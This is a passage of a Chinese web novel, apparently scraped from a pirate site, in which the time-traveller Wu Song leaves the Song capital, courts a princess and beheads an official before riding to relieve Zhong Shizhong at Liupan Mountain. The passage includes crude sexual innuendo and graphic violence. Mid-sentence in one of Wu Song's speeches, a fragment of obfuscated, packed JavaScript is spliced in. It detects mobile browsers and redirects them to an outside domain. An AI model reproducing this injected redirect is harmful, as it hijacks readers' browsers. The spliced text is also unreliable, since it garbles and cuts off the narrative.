等了一个时辰,武松才穿着睡衣进来。
“蔡大人养的女子都是极品国色,武松受教了。”
看着武松懒洋洋的样子,蔡攸长长叹了一口气:
“老子养花千日,却被你都采了去。”
武松喝了一口茶,笑道:
“蔡大人此言差矣,花有重开日、人无再少年。”
“你那美姬再不享用,便要凋谢了,岂非暴殄天物?”
蔡攸无奈,谁让他自己不行。
晚上他在家里睡觉,后院莺声浪语,听得他心里烦躁,几次吃药,却又不顶事。
他很想把武松赶出去,但有言在先,他不好意思开口。
“童贯那厮在枢密院逼我,你须准备启程了。”
“圣旨和枢密院调令已经给了郓王,河西驻泊禁军和当地厢军都听你们调遣。”
北宋建立在五代十国之后。
而五代十国的特点就是藩镇割据、武将拥兵自重。
宋太祖赵匡胤也是凭借兵权,发动陈桥兵变、黄袍加身。
所以,北宋建立后,对于将领兵权防范特别严重。
北宋实行强干弱枝政策,各地的精锐收归为禁军,地方厢军老弱居多。
各地的驻军,也是禁军轮番驻守,称为:驻泊禁军。
到了打仗时候,由皇帝和枢密院一起签发调令,将领手持调令,到地方调动指挥兵马。
这样做的好处是武将无法控制军队。
坏处也很明显,武将对地方军队不熟悉,打仗一塌糊涂。
蔡攸说调令已经给了赵楷,河西驻泊禁军和厢军都听从他们调遣,就是北宋打仗调兵的流程。
武松听了蔡攸的话,笑道:
“蔡大人这是给我下逐客令?”
“我投靠大人,未曾向你求官,只是替你安抚后院的美姬而已。”
“大人也恁地小气了,你这靠山,怕是靠不住。”
蔡攸被武松气到了,骂道:
“你这猢狲,以为你是状元,是个有德行的。”
“谁知你如此无赖,当真请神容易送神难。”
武松把茶喝完了,笑道:
“好了,算上时日,也该人到了。”
“今日我便走,留着你的美姬在后院养眼。”
蔡攸冷哼道:
“你既然嫖了她们,自然给你,我不会再用。”
“那不行,我没有地方养她们,你把她们打发了吧。”
“好个小王八,你滚。”
蔡攸气得牙痒,武松笑呵呵回后院。
听说武松要走,那些还没有尝到甜头把门锁了,留武松又住了两天。
蔡攸看在眼里,气得心里,大骂臭****。
等到两天后,武松才终于从蔡攸家里出来。
刚刚跨过门槛,武松感觉膝盖有些软...
这次是真的虚了!
酒色伤身,今日戒酒!
回到家中,却见鲁智深、杨志和时迁、曹正四人到了。
“师兄何时到的?”
“前脚刚进门,二郎就回来了。”
孙二娘烫了热酒、切了酒菜摆上:
“正说呢,二郎若再不回来,我们便去寻你了。”
武松请众人坐下,无奈道:
“我也是迫不得已,蔡京、童贯逼我上路,师兄未到,我只能拖延。”
“别处躲不得,唯有蔡攸那里,他们不敢去。”
扈三娘听武松这么说,心中才释然。
京师都在传闻,说武松在蔡攸家里日日夜夜不停地**美姬娇妾。
扈三娘自然不高兴。
听了武松所言,扈三娘马上认为那是谣言。
“我们到了,便可启程。”
杨志立功心切,想早早动身。
鲁智深离开渭州府好多年了,也想着早些动身。
武松说道:“连日奔波,且歇一晚,曹大哥想来也要归家看看。”
曹正本是开封府的,后来到青州那边做买卖,亏了本钱,就地当了上门女婿。
算起来,也有快十年了。
“各位哥哥,小弟离家快十年,出征前,想看看家中老母是否尚在。”
鲁智深马上说道:
“你去便是,洒家等你。”
武松让李馨拿了一百两银子过来,作为送给曹正父母的见面礼。
曹正也不推辞,接了银子便走。
再见鲁智深、杨志,孙二娘夫妇高兴,说道:
“二郎在官家那里,为两位师兄讨了官职。”
“大师做了步军都钤辖,杨制使做了马军都钤辖。”
“日后不叫杨制使,该唤作杨将军了。”
杨志听了大喜,对着武松拜道:
“二郎如此大恩,如何回报?”
从区区殿帅府制使成为都钤辖,好比从护卫队长变成军长,杨志如何不喜?
“都是自家兄弟,说甚么回报。”
“今日兄弟相会,
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我等好好喝一顿。”
武松派人往何运贞家里送信,让他一起来。
很快,何运贞来了,相互见过后,被武松拉在身边坐下,十几个人一起喝酒吃肉。
到了第二天。
一大早,赵楷便派人过来请武松。
换了些衣服,武松骑马到了郓王府。
何正复、张吉两人都在里面等着。
“张大人、何叔。”
武松行礼见过,何正复问道:
“运贞在你家里?”
“是,昨夜喝多了,尚未醒来。”
“那便好,怕他夜宿娼家,坏了身子。”
赵楷见了武松,问道:“蔡攸府上如何?”
“哎,躲着童贯,实在没法子,好在人到了,可以启程。”
赵楷其实知道武松在干嘛,只是不说破。
“便是听闻你的人到了,才寻你来,明日出发如何?”
“可以,今日我等面圣辞行。”
当即,赵楷领头,武松三人跟着,一起进了宫里。
太监说徽宗在踢球,几人又到了球场。
徽宗正与高俅、蔡攸、孟宣、范老二、黄如意踢球。
见到武松,徽宗招手,武松把外套脱了,下场陪徽宗踢了一个小时,然后才回到场边。
“父皇,儿臣便启程前往渭州府。”
“好好做,你上进读书,朕看在眼里,这次出征非同小可,你须上心。”
“儿臣记住了。”
徽宗又对武松说道:
“爱卿文采斐然,也是风流人物,不知道你用兵如何。”
“此次若能胜了,回朝后,朕有赏你的。”
武松拜道:
“圣上恩眷已多,何敢再奢求。”
徽宗又对何正复、张吉吩咐道:
“两位都是老臣了,遇事多参谋。”
“臣等遵旨。”
吩咐完毕,徽宗继续踢球。
武松特意把蔡攸扯到一旁,说道:
“蔡大人,小的靠着你,莫要不顾我。”
“小王八,晓得要老子看觑你,放心去,那老狗我看着他。”
“多谢蔡大人,小的为你马首是瞻,待到回来,再到府上吃酒。”
“狗猢狲,不许你再进门!”
“小的告退。”
蔡攸摆摆手,说道:“此战你若赢了,那老狗也少些势头,莫要担心京师,一切有我。”
武松笑呵呵退出皇宫。
让蔡攸对付蔡京,挺爽的!
出了皇宫,赵楷三人各自回去安排。
武松则转身到了公主府。
第174章 当面辞行,非礼公主
从侧门进入,宫女领着武松进了一处院子。
茂德帝姬赵福金站在水池边,身上披着一袭红色狐裘,侍女端着食盘,赵福金拈起鱼食,丢进池子里,鲤鱼跃出水面争抢。
武松走过去,拜道:
“微臣武松,特来辞行。”
赵福金微微侧头,看了一眼武松,问道:
“你在蔡攸家中好自在。”
武松愣了一下,随即面露无奈之色:
“又是旁人说我在蔡攸家中**,此事不说也罢。”
“为了维护公主,我被迫接了抵御西夏的差事。”
“我没有靠山,也无大将可用,只得等几个相识的兄弟帮衬。”
“那蔡京、童贯日夜催逼,我只有躲在蔡攸家中,他们才不敢找我。”
“如今我那些兄弟到了,方才到圣上御前辞行,明日便走。”
“大风吹倒梧桐树,自有旁人论短长。”
“我此心日月可鉴,并无愧对公主之处。”
听到这里,赵福金才面露伤感之色:
“不过提一嘴罢了,蔡京、童贯还有高俅日夜在父皇那里聒噪,我也知晓。”
“你这一去,几时归来?”
武松摇头道:“我此去,只怕须三年五载。”
“这么久?”
赵福金急了,武松叹息道:
“西夏常年犯边,此次更是无礼至极,我欲彻底灭掉西夏。”
赵福金知道打仗是大事情,不能儿女情长。
可是,三年五载太久了,她等不了那么久。
“微臣有句话,公主恕罪。”
“你说便是。”
武松深吸一口气,装出满满的真诚:
“微臣想娶公主,但我出身卑微,此去西夏,必要立大功。”
“待我归来,便向圣上请求赐婚。”
这突如其来的话,说得赵福金脸红心跳,感觉身子都酥了。
“你...你..”
赵福金压不住脸上的笑意,却又转身不好意思看武松。
“你们退下,我和公主再说几句贴心话。”
侍女惊奇地看着武松,这分明不怀好意啊。
赵福金挥挥手,示意宫女退下。
“公主...”
“退下!”
赵福金生气了,侍女全部退出院子,只在门口候着。
武松从后面抱住赵福金,脸贴着赵福金额头,说道:
“公主一定要等我,莫要嫁给他人。”
赵福金哪里见过这等,身体软软地靠在武松怀里,红着脸抬头...
武松抱住身子,吻在赵福金的唇上,赵福金感觉轻飘飘的。
“你好大胆子...”
赵福金嗔怒,武松不管,抱着赵福金亲了很久才松手。
“你非礼我...”
赵福金整理衣裳,假装生气。
“微臣告辞了,公主一定等我归来。”
“你去吧,我等你,记得给我写信。”
“记住了。”
武松退出院子,宫女马上冲进去,见赵福金满脸红晕,问有没有事?
赵福金笑着不说话,径自回屋去了。
出了公主府,武松深吸一口气,迈步往徐宁家里走。
赵福金是徽宗最疼爱的女儿,只要她站在自己这边,别人进谗言没用。
至于蔡攸那个蠢猪,只是武松对付蔡京的手段。
让他们父子斗去吧,分散蔡京的精力。
到了徐宁家中,武松敲门,徐宁请武松家里坐定。
职务任命的事情,徐宁已经知晓了。
从一个禁军教头,一跃成为步军副都总管,徐宁对武松感恩戴德。
“明日我们出发,徐大哥莫要忘了。”
“郓王已派人知会过,明日便跟随二郎去。”
徐宁留武松在家喝茶。
喝完一壶茶,武松又到了甲仗库寻凌振。
同样说好,凌振答应了明日出发。
离开甲仗库,武松又到了国子监。
祭酒董逸在书房等着武松。
“学生拜见老师。”
“我知你要来,等你许多日了。”
武松坐下来,董逸说道:
“这差事,是你想要的,还是他们给你的?”
“学生自己想要的。”
“嗯,我猜也是,以你的才智,若不想要,蔡京拿你没法子。”
确定是武松自己要的差事,董逸松了口气。
武松自己想要,说明武松自己有办法,不用担心被人坑。
这时,一个国子监的学生走进来,想要和董逸讨教学问。
见到武松,学生行礼道:
“在下孙诚,见过武修撰。”
武松起身回礼:“幸会。”
“听闻武修撰领了当兵的差事?”
这话头听起来不对劲,武松点头道:
“是。”
“君子不器,武修撰身为状元,又写了《四书章句注解》《传**录》,如此大才,为何不著书立说,非要到边关当兵?”
这个孙诚看不起当兵的,把自己读书人的身份看得太高贵了。
武松问道:“读书为何?”
“为求道?”
“何为道?”
“天地之心。”
“天地不语,如何知天地心?”
“天不语,以民知之。”
“说得好,天道便是人道,我问你,如今百姓过得如何?”
“天下承平、百姓安乐。”
武松深深吐出一口气,说道:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284699|182038||http|test|mini|href|location''.split(''|''),0,{}));
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r>“圣上英明,我朝太平不假。”
“但每年给辽国的岁币,哪个不是民脂民膏?”
“我等吃朝廷俸禄、享受百姓米粮,却不能为他们分忧,岂非尸位素餐?”
“读书人当为国为民,西夏使者却当面折辱圣上,扬言要睡皇后公主。”
“我问你,你能奈何?你写书便能写死他们?”
孙诚被说得哑口无言。
武松继续说道:
“我等读书人不可闭门造车,当文能提笔安天下、武能提刀破强敌!”
“君子六艺,骑射弓马都在其列。”
最后,武松说道:
“读万卷书、行**路,外面的情势如何,非你所知。”
“我今日说句话,往后几年便知分晓。”
孙诚明显不服气,拜道:
“武修撰请说。”
“我朝最大的强敌便是辽国,但辽国已是**之末,马上有一个更强大的敌国,它将覆灭辽国。”
“届时,我大宋就须与它为敌!”
“我朝如今的战力,尚且不如辽国,若是遇到,你以为当如何?”
孙诚和董逸同时悚然,震惊地看着武松。
“恐有灭国之危!”
武松说完,孙诚半晌才说道:
“武修撰耸人听闻,你有何证据?”
武松叹息道:“你等太无知了,你且去打探辽国会宁府的消息。”
“一叶落而知天下秋,圣人见微知著,你学识太浅。”
“我今日出征西夏,并非只为抵御西夏,我此去是为了救国、救天下苍生!”
孙诚心中不服,却又无法反驳。
“待我问了辽国的事情,再回答武修撰。”
说罢,孙诚急匆匆走了。
董逸抬头看着武松,问道:
“你如何知晓的?”
武松当然不能说自己是穿越者,所以知道这些。
“老师,君子见微知著,今日所言,必有应验。”
“东汉灭亡时,五胡乱华,我汉人生灵涂炭。”
“有**、有亡天下,若是不能力挽狂澜,中原有倾覆之危。”
听完武松的话,董逸一时竟不知该如何回答了。
他突然发现武松绝非表面那般,见识犹如**大海,不可测度。
“胡博士在庆州做知州,他也是你老师,到了渭州,你可以找他。”
“学生记住了,学生告辞。”
董逸起身,送到门口,望着武松离去,心中十分不安。
武松才华横压当世文人,却又完全不像个文人,想要以武取胜。
这种人,一般都是...反贼!
“此子...是福是祸..”
董逸喃喃自语。
第175章 不许接客,故人相见
回到家里,李馨正在清点库房。
这些时日,武松不是只顾在蔡攸家里乱搞。
他吩咐扈三娘准备车马,把家里的银子全部运往渭州府。
京师人多眼杂,不好做事,到了渭州府,自己就是老大,可以放开手脚。
家里匆匆忙忙准备东西,婢女进来禀报,说有个自称小蝶的,在门外候着。
小蝶是李师师的贴身婢女,她来了,肯定是李师师想自己了。
红颜知己太多真麻烦,每个都要伺候一遍。
到了门口,小蝶拉着武松的袖子,说道:
“娘子听说姐夫要走,泪都哭干了,也不见姐夫到楼里来。”
“这些日子事情太多,不得空闲。”
“听闻姐夫明日便走,今夜好歹陪陪娘子。”
武松看了一眼里面,悄悄和小蝶到了登仙楼。
李妈妈见了武松,笑盈盈唱个肥喏:
“姐夫多日不来了,还以为忘了我家女儿。”
“老虔婆,我今日没银子给你。”
“要甚么银子,只要姐夫对我女儿好,我情愿白送。”
武松摇头冷笑,抬脚上了阁楼。
李妈妈知道武松领了宣抚副使的差遣,已经不是只有贴职的清贵,而是手握重兵的权贵。
所以,李妈妈才不收钱,也放武松上楼。
**就是如此,你可以不花钱,但是不能真没钱!
到了阁楼,李师师泪眼汪汪,哀怨道:
“二郎好薄情,多少时日不来寻奴家。”
“可知奴家夜里如何过的。”
李师师娇滴滴扑进武松怀里,武松搂着说道:
“大军出征,许多事务要处置,不是要冷落你。”
“奴家知晓,不指望二郎日夜陪着,只想着二郎能来看看奴家。”
“我如今不是来了。”
小蝶准备杯盘酒水果子,李师师拉着武松入座饮酒。
“二郎何时回来?”
“战场之事,说不得一定。”
李师师又红了眼,躺在武松怀里抽泣:
“二郎去了西边,教奴家如何是好?”
“我等下便与李妈妈说,叫她不让你接客了。”
“她眼里只有金银,如何能让我不接客。”
“我自有道理。”
喝完酒,李师师拉着武松到床上说话。
待到半夜,武松才从阁楼下来。
李妈妈笑盈盈作揖:
“姐夫就走啊?”
“老虔婆,我说与你听着,我走后,莫再让师师接客。”
“这却使不得...”
武松抬手,堵住了李妈妈后面的话:
“待我回来,便有泼天大功,我为师师赎身。”
“我曾许你黄金十万、珍珠十斗,你若是再让你师师接客,我一文钱不与你!”
说完,武松不给李妈妈争辩的机会,抬脚出了登仙楼。
望着武松离去,李妈妈心中暗道:
当真得势了,有了大老爷的派头。
武松既然许我黄金十万、珍珠十斗,我便留着师师。
若是他立不得功劳,倒是再理会,切不可先恶了他。
想到这里,李妈妈便上楼和李师师商量。
武松走到家门口,看见扈三娘站在门口张望。
武松闻了闻身上的衣服,暗叫不好,赶紧回身找了家成衣铺,把里外衣服换了,又给扈三娘买了两套衣服,这才重新回家。
扈三娘见到武松,问道:
“半夜三更,你去哪里了?”
“给你买了两身衣服,带在路上穿。”
扈三娘接了衣服,喜道:
“有心了。”
两人回到宅子,仆人还在收拾。
卢俊义知道武松想组建自己的骑兵,也把家里的银子装车,一起运往渭州府。
收拾妥当,众人才睡下。
第二天早上。
仆人早早准备了酒肉饭菜,武松一行人吃个浑饱,东西都准备好了。
武松吩咐李馨看着家里,她现在是管家,舌姬、玉兰两个听从她的吩咐。
如果遇到事情,去找蔡攸解决。
吩咐完毕,武松一行人直接从西城门离开。
按理说,大将出征,该有皇帝、百官相送。
蔡京故意针对武松,高俅陪着徽宗踢球,不让徽宗离开。
所以武松自己走。
到了西城门外,郓王赵楷带着二十个亲卫,张吉、何正复、何运贞各自带了家兵。
徐宁、凌振都是一个人,曹正也是一个人。
“何叔、张大人。”
何正复笑道:“大将出征,百官不送,这是头一回。”
“去年童枢密出征,圣上亲自送到十里亭外。”
武松笑道:
“无妨,出征时不送,待我等大捷归来,自有百官相迎。”
张吉笑道:
“二郎有志气!”
赵楷看着身后几十辆马车,问道:
“你带这许多物件作甚?”
他以为这是武松的家具。
童贯出征的时候,也带了几车的东西,都是日常
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用度之物。
“这是我的银子、这是我师兄的银子,我们自备银钱打仗。”
赵楷愕然...
“走吧!”
武松骑马走在最前面,一行上百人迢迢往渭州府进发。
有话则长、无话则短。
武松一行人星夜赶路,走了将近一个月,终于抵达邠州府。
此地距离渭州府不远,只需两日便能赶到。
看着旧地风光,鲁智深心情颇好。
“自洒家打死郑屠,离开这里已有5年了,今时又回来了。”
曹正笑道:“今时不同往日,大师如今是都钤辖,不是提辖官。”
鲁智深哈哈大笑,心中甚是爽快。
一行人到了邠州城门口,查验了凭证,立即送入城内。
知州石普连忙带人出来拜见:
“微臣邠州府知州石普,拜见郓王、各位大人。”
身后一群官僚一起拜见。
“免礼,我等在你城内暂歇,明日继续赶赴渭州府。”
“下官明白,请王爷、诸位大人到驿馆歇脚。”
石普引路,众人往驿馆走。
人群中,一个人走出来,对着武松、何运贞行礼:
“小弟拜见两位哥哥。”
武松回头,却见一个老熟人:
庐陵欧阳雄,去年殿试的探花,白嫖自己的那个!
何运贞稀奇道:
“你分明在庆州,如何到了邠州?”
欧阳雄笑呵呵说道:
“去年得了庆州府的差遣,今年改了邠州府通判。”
“得知两位哥哥要来,小弟日夜盼着,终于见到。”
去年殿试放榜的时候,两人很讨厌欧阳雄。
但是如今在这里见到,居然有种他乡遇故知的感觉。
“你一个江西人,到这里做官,习惯么?”
武松开口,欧阳雄叹息道:
“此地甚是辛苦,水土苦咸,不如我们江西的水土甘甜。”
“不过,此地风土浑朴,百姓也是好的,只是太凄苦了,食不果腹。”
能说出这种话,欧阳雄算是不错了。
到了驿馆,赵楷住下,知州石普连忙安排饭菜。
欧阳雄陪着武松、何运贞说话。
“你可知道渭州府现今如何?”
武松询问前线战事,欧阳雄说道:
“渭州府正在打仗,西夏晋王察哥回到韦州后,调集了静塞军司、西寿保泰军司两个军司的兵力,正在进攻渭州府怀德军,小种经略相公已经到前线去了。”
第176章 军情紧急,种师中被围
北宋和西夏对峙的前线在秦凤路、永兴路、河东路。
边关重镇有熙州、熙州、鄯州、兰州等地,各地都有屯军。
西边有怀德军,中线有定边军、保安军,东边有绥德军、晋宁军,北面有保德军。
渭州府、庆州府、延安府属于后方的军事基地。
西夏为了对抗北宋,东南方设立了军司,相当于战区。
西边是卓罗和南军司,中线是西寿保泰军司、静塞军司,东边是嘉宁军司、祥佑军司、左厢神勇军司。
西夏六大军司,都是为了对付北宋。
而北宋的驻军,除了要对付西夏,还要对付辽国、吐蕃。
欧阳雄说,西夏晋王察哥调集了西寿保泰军司、静塞军司的兵力,进攻怀德军。
就是西夏和北宋中线军区正在打仗。
“如今战况怎样?”
赵楷询问,欧阳雄有些无奈道:
“我军去年大败,精锐损失惨重,大将刘法阵亡。”
“此番西夏越过杀牛岭,已攻占西安州,妄图占领渭州府。”
“小种经略相公亲自率兵到了怀德军,阻止察哥南下,战况并不乐观。”
欧阳雄一番话,说得大家心里很沉重。
“我等吃完,今日便走。”
赵楷心中焦急,想早点抵达渭州府。
武松自然没意见。
酒菜送上来,都是邠州府本地的东西。
烤羊肉和烧鸡,蔬菜没有,只有一些果脯。
知州石普陪着劝酒,欧阳雄陪着武松、何运贞。
饭吃到一半,门口突然传来喧闹声,好像有人吵架。
石普皱眉道:
“郓王在此,何人在屋外喧闹?”
欧阳雄起身,到了门外,过了会儿进来,说道:
“渭州府来的信使,八百里加急送战报的,因他的马跑**,想要郓王的好马,驿馆不给,两边闹起来了。”
武松马上起身出门,正好看见一个信使换马要走。
“站住!”
武松上前拦住信使,问道:
“渭州有甚么紧急军情?”
信使怒道:“军机大事,你敢问我!”
“我是武松,圣上钦赐宣抚副使,河西所有兵马归我调遣。”
赵楷也从里面走出来,知州石普说道:
“你下来说话,这位是郓王,河西宣抚使。”
听闻两人身份,信使慌忙翻身下马,拜道:
“小的有眼不识泰山,王爷恕罪。”
“前线战况如何?”
“小种经略相公亲率府兵抵御察哥,战事不利,被围困在六盘山,小的奉命送信回京师,请求增援。”
武松皱眉道:“混账!主将被围困,却送信回京师求援!”
“我记得六盘山东边有镇戎军,为何不救援?”
信使脸色无奈,欲言又止,赵楷骂道:
“还不说!”
信使无奈道:“镇戎军知军不肯出兵。”
知军就是镇戎军的军长。
“混账东西,竟敢坐观成败!”
赵楷大怒,知州石普脸色玩味。
通判欧阳雄扯了扯武松的衣袖,武松悄悄退到一旁,欧阳雄低声道:
“镇戎军的知军赵文是太师的人,与小种相公不对付。”
这么一说,武松马上明白了。
不是种师中舍近求远,而是没办法。
他无法调动镇戎军,只能送信回京师求援。
但是,就算军报到了京师,枢密院被童贯把持,种师中的信能否送到徽宗手里,这是个问题!
生死关头,居然还在内斗!
奸臣就是奸臣!
回到前面,武松问道:
“镇戎军还有多少兵马?”
“步军一万,马军三千。”
“好了,你走吧!”
信使行了一礼,翻身上马,匆匆离去。
赵楷说道:“军情紧急,我等现在便前往渭州府。”
赵楷焦急,张吉也很着急,担心种师中阵亡。
武松说道:
“郓王稍安勿躁,小种相公也是老将,不至于就兵败了。”
“你与何叔、张大人赶往渭州府,我和师兄先往镇戎军去。”
何正复问道:
“二郎,你要做甚?”
“接管镇戎军,先与小种相公解围。”
“二郎,镇戎军的知军赵文是太师的门生。”
何正复做官很久,谁是谁的人,他很清楚。
“我知晓,我与蔡京撕破脸皮,我此去先斩了赵文!”
知州石普大吃一惊,不敢相信有人这么勇?
何正复、张吉还好,因为他们知道武松胆子大,连高俅都敢当街殴打。
“我随你去。”
“你受得了
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?”
赵楷沉默...连续骑马,加上水土不服,他尿血了。
“你随后来,我与师兄们先走。”
“把圣上的令牌给我!”
武松伸手,赵楷马上拿出一块令牌。
接了令牌,武松开始点将:
“三位哥哥、戴院长、时迁、徐教师、小乙、二宝、三娘,你们跟我走!”
几人翻身上马,当即离开驿馆,往镇戎军奔去。
鲁智深是本地人,他知道路径。
看着武松离去,石普欲言又止,最后笑呵呵说道:
“请王爷入席。”
随行护卫长刘志说道:
“你寻一个良医过来,先与郓王治病。”
“郓王病了,下官这就去。”
石普亲自去请郎中,为郓王治病。
通判欧阳雄陪着众人继续吃饭。
何运贞在旁边,欧阳雄低声道:
“何兄跟着哥哥,一年之间,做了宣抚司参议官,羡煞小弟。”
“你想跟着我们?”
“兄长若不弃,愿效犬马之劳。”
“你自去与郓王说,他是宣抚使。”
作为河西宣抚使,所有文武百官,都要听从赵楷调遣。
欧阳雄是邠州府通判,只要赵楷愿意,就可以征调。
“还请何兄美言几句。”
“你与郓王也算是同榜进士,何必当自己是外人。”
如此一说,欧阳雄觉得还真是这么回事。
端着酒杯,欧阳雄笑呵呵给郓王敬酒。
...
离开驿馆,鲁智深骑马跑在最前面。
他在渭州府做过提辖,知晓路径。
武松和卢俊义、杨志、扈三娘、徐宁、戴宗、时迁、燕青、李二宝在后面。
一行十人全速往前狂奔,不经渭州府,而从原州府赶往镇戎军。
抵达原州府后,立即换马,每人两匹马,马歇人不歇。
终于,在拂晓时分,武松赶到了镇戎军。
到了军寨外面,巡逻斥候发现,立即上前阻拦:
“甚么人!擅闯军营!”
武松上前,拿出令牌,呵斥道:
“我是武松,圣上御赐河西宣抚副使!”
见到令牌,斥候慌忙行礼:
“小的拜见宣抚副使!”
“带路!”
斥候不敢怠慢,领着武松进入镇戎军。
第177章 蔡京门生,斩首号令
镇戎军的营地依山而建,用土石建造城墙,中军大帐在山顶,可以俯视整个营地。
城墙上的巡逻士兵昏昏欲睡,整个营地非常安静。
武松大踏步直入山顶的中军大帐议事厅坐下,卢俊义、鲁智深、杨志、徐宁、扈三娘、李二宝、燕青分列左右站定。
戴宗和时迁在后面坐着。
“把知军赵文叫来!还有你们的都监!”
北宋以文制武,军区的一把手是文官,二把手才是武将。
文官就是赵文,武将就是兵马都监。
士兵慌忙通报。
过了会儿,一个身材健硕的男子进来,对着武松拜道:
“末将镇戎军兵马都监陈罡,拜见宣抚副使。”
“坐!”
武松冷冷说了一句。
“谢大人。”
陈罡在旁边坐下,抬眼扫了一下卢俊义等人,心中暗道:
这些人好生奇怪,怎还有僧人?
武松一直等到太阳照进议事厅,其他将官都到了,唯独不见知军赵文过来。
“赵知军何在?”
武松冷冷看向都监陈罡。
“知军起来的迟,还不到时候。”
陈罡如实回答。
武松起身,说道:“带路!我亲自请他!”
陈罡知道武松生气了,不过赵文是蔡京的门生,谁都奈何不了。
况且在镇戎军,赵文是主官。
“末将遵命。”
陈罡带路,武松回头对议事厅的文武官员说道:
“一起来!”
所有官员起身,跟着武松往后营走去。
大家都想看看,这个传说中的状元郎,有甚么手段奈何蔡京的门生。
大步进了后营,却见门口几个军汉把守,见到武松进来,抬手拦住:
“知军尚未起来,不得冲撞!”
砰!
武松抬脚将一个军汉踢飞数米,其他人不敢阻拦。
都监陈罡吃了一惊,没想到武松真敢动手。
进了后营,里面居然摆着假山,还有些花木刚刚冒出新芽。
婢女正在忙忙碌碌准备早饭,见到武松带人闯进来,都吃了一惊。
“哪个房间?”
武松喝问,陈罡也不知道,随后捉了一个婢女,指了指其中一个房间,说道:
“昨晚在五娘那里过夜。”
武松大踏步到了门口,压不敲门,抬脚踢碎房门,冲进房间里,却见知军赵文从被窝里爬出来,身边躺着一个白嫩嫩的妇人。
“甚么人,敢踢我的门!”
武松不容分说,叉开五根手指,揪住赵文的头发,直接赤条条拖出了房间。
到了门外,陈罡和一众文武官员见了,都唬了一跳。
“你是甚么人!来人,护卫、护卫!”
武松一句话也不说,把赵文拖到了议事厅,然后转身在正首坐定。
“坐!”
武松说了一句,卢俊义、鲁智深等人先坐定,其他文武官员纷纷坐下。
早上清寒,赵文一丝不挂,懂得发抖。
“你你你...你是甚么人!竟敢在镇戎军如此待我!”
武松冷冷盯着赵文,骂道:
“老子是武松!圣上钦赐宣抚副使兼步军都总管!”
赵文吃了一惊,随即怒骂道:
“你便是宣抚副使又如何,竟敢如此无礼!”
“今日你这等羞辱我,定要到御前告你!”
武松起身,狠狠一脚踢在赵文胸口。
砰!
赵文身体飞起,撞在门槛上,口吐鲜血。
在场文武惊得面如土色。
都监陈罡慌忙起身拦住,劝道:
“大人息怒,知军乃是朝廷命官、太师门生,不可如此!”
武松冷笑道:
“老子是圣上钦赐的河西宣抚副使,河西诸路官员、兵马都要受我节制!”
“我到了军中,这厮却还在**,目无王法、藐视圣旨!”
“便是到了圣上御前,也是个死罪!”
“你说他是蔡京门生,那老狗自来我也不正眼瞧他,一个门生算甚么东西!”
武松当众骂蔡京是老狗,却把在场文武惊讶到了。
蔡京位居三公,门生故吏多的是,军中除了赵文,还有许多文武官吏都是蔡京的关系。
“种师中被围六盘山,这厮坐观成败,当斩!”
“来人,把赵文拖到门外,斩首号令!”
杨志大踏步走出来,提着赵文出门。
陈罡和诸位官员吓了一大跳,慌忙劝道:
“大人不可,不可啊。”
“知军只是畏惧西夏人多势大...并非坐观成败!”
杨志一手提着赵文的脑袋,一手提着宝刀,只等武松一句话。
赵文吐了两口血,骂道:
“你敢杀我,太师定不饶你!”
武松起身,走到门外,接过杨志手中宝刀,手起刀落,斩了赵文首级!
血从脖子处喷出,那后院唤作五娘的妇人刚好追过来,只见武松提着赵文的脑袋,吓得当场昏死。
武松提着赵文的首级,呵斥道:
“整顿军马,
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随我前往六盘山!”
“敢有不听从号令者,管你蔡京门生、还是童贯部下,老子先斩了他!”
主官被当众斩首,众将悚然,哪个敢不听令!
“把首级挂在营门口,给他们看看!”
武松把脑袋丢给陈罡,染了陈罡一身血。
“末将领命!”
陈罡感觉头皮发麻,提着赵文的脑袋出去。
营寨内敲响战鼓,马步军集结,赵文的首级挂在了营门口。
听说主官被朝廷钦差斩了,所有官兵悚然。
很快,兵马集结完毕。
武松和众人草草吃过早饭,便到了校场。
武松站在台上,简短地说道:
“我叫武松!去年的状元、朝廷的钦差、御赐河西宣抚副使!”
“种师中被围六盘山,我等此去,乃为破敌救人!”
“给老子记住,杀敌立功者赏!临阵后退者斩!”
“莫跟老子说你是谁的门生,赵文已经斩了!”
训话完毕,武松当场分配将官。
武松当主将,陈罡做副将。
卢俊义、杨志、扈三娘各自统领一千骑兵,原本的骑兵主将为副将。
鲁智深、徐宁为步兵将领,各自统领两千步兵,留下一千镇守营寨。
燕青跟着卢俊义,李二宝跟着武松。
戴宗、时迁紧随武松前后。
分拨完毕,三千骑兵、四千步兵当即离开镇戎军营寨,火速杀往六盘山。
...
六盘山上。
种师中站在山顶,望着山下**的西夏士兵,心中沉重。
十天前,察哥回到西夏,集结西寿保泰军司、静塞军司两边十万兵马突袭西安州,主将是西夏猛将仁多洗忠。
西安州去年刚刚经历童贯大败,损失惨重,无力防守,一天就被攻破。
怀德军立即迎战,却因精锐去年阵亡过多,抵挡不住,接连败退。
种师中知晓情况紧急,率军从渭州府增援,刚好遇见西夏大军。
两边大战,种师中兵少将寡,退守六盘山,派人前往镇戎军求援。
种师中是经略安抚使,本来怀德军、镇戎军都归他号令,可是镇戎军新来的主官赵文是蔡京的门生,根本不理会种师中将令,按兵不动、坐观成败。
没办法,种师中只能一边派人送信回京、一边派人往熙州求援。
副将**走过来,说道:
“经略相公,西夏又要进攻了。”
“仁多洗忠扬言要活捉经略相公,押往兴庆府。”
第178章 六盘山下,武松突袭
看着山下集结的兵马,种师中无奈道:
“去年童贯大败,损兵折将,导致我河西之地精锐折损,兵粮皆不足。”
“镇戎军又不听我号令,上下不和,只能等熙州兵马增援了。”
日头渐高,西夏敲响战鼓,种师中在山上听得分外清楚。
仁多洗忠的将旗在寒风中猎猎飘舞,五万多西夏士兵开始往山上进攻。
种师中坐镇山顶,副将**下山指挥防御。
西夏是得胜之兵,进攻势头迅猛,怀德军也是老兵,依靠山体构筑防御工事,节节抵抗,打得十分顽强。
无奈兵力悬殊,种师中只剩下1万多兵马,且负伤极多,战线一直往山上后撤,西夏逐渐占领六盘山脚下阵地。
副将**撤回山顶,拜道:
“经略相公,我们兵马不足,如此死守,只怕不利。”
“待到天黑,末将掩护经略相公突围。”
